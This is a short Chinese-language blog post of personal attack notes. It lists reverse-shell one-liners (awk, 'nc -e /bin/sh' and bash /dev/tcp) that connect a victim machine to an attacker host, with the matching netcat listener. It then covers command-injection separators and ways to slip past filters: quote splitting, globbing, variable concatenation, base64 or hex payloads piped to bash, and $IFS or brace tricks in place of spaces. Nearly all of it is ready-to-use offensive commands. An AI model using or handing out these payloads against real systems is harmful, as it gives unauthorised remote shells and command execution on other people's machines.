反弹shell方法记录

反弹shell

一、基于AWK

hacker机器上执行命令:

nc -l Port

hacker机器一直监听某端口。

在受害主机上执行命令:

awk 'BEGIN {s = "/inet/tcp/0/hackerHostIp/Port"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/n

受害主机主动向hacker发送shell连接。

二、纯nc

hacker机器上执行命令:

nc -l Port

hacker机器一直监听某端口。

在受害主机上执行命令:

nc -e /bin/sh hackerHostIp Port

受害主机主动向hacker发送shell连接。

三、万能

hacker机器上先执行命令:

nc -l Port

hacker机器一直监听某端口。

在受害主机上执行命令:

bash -i >& /dev/tcp/hackerHostIp/Port 0>&1

受害主机主动向hacker发送shell连接。

注:有时受害主机上可能会缺少我们需要的软件,如nc一类的。

命令执行 

一、命令拼接

分割符 示例 说明
|| command1 || command2 command2只有在command1执行失败后才会执行
&& command1 && command2 command2只有在command1执行成功后才会执行
| command1 | command2 command2将会使用command1的输出作为自己的输入
command1 ; command2 分号表示两个命令是相互独立的,无论command1是否成功执行,都会执行command2
& command1 & command2 command1后台运行,command2前台运行,&号后的空格是必须的
反引号` command1 `command2`  反引号中的command2执行后返回的结果作为command1的一部分并执行

 

 

 

 

 

 

 

 

整个命令执行的流程序执行步骤如下:
1.检查执行的是否是绝对路径执行
2.检查命令是否存在别名
3.检查命令是内部命令还是外部命令
4.如果是内部命令直接执行
5.如果是外部命令,检查命令是否有缓存,如果没有,查找PATH变量
6.检查PATH路径直到查找到该命令然后执行
7.如果没有找到该命令则返回错误,command not found。

二、特殊字符绕过 

绕过特殊字符

符号  示例  说明
 单引号 ca''t  
 []or{}在一个范围内进行替代 如ca[a,t] /bin或ca{a-t} /bin  
 变量 使用多个变量来组合命令,如a=l;b=s;$a$b  
 编码 echo 编码|xxd -r -p|bash或echo 编码|base64 -d|bash 使用十六进制编码或base64编码

 

 

 

 

 

绕过空格

符号  示例  说明
花括号 {command,参数1,...,参数n},如{nc,-lvnp,2333}  
{$IFS} command{$IFS}参数,如cat{$IFS}/bin  

 

 

 

 注释

 使用#可以注释后面的命令内容,但是必须在#前加一个空格,否则报错。

 

参考

https://lexsd6.github.io/2020/09/10/%E5%AF%B9linux%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E6%80%BB%E7%BB%93/

https://www.cnblogs.com/liuzgg/p/11801538.html

posted @ 2021-02-24 16:05  An2i  阅读(104)  评论(0)    收藏  举报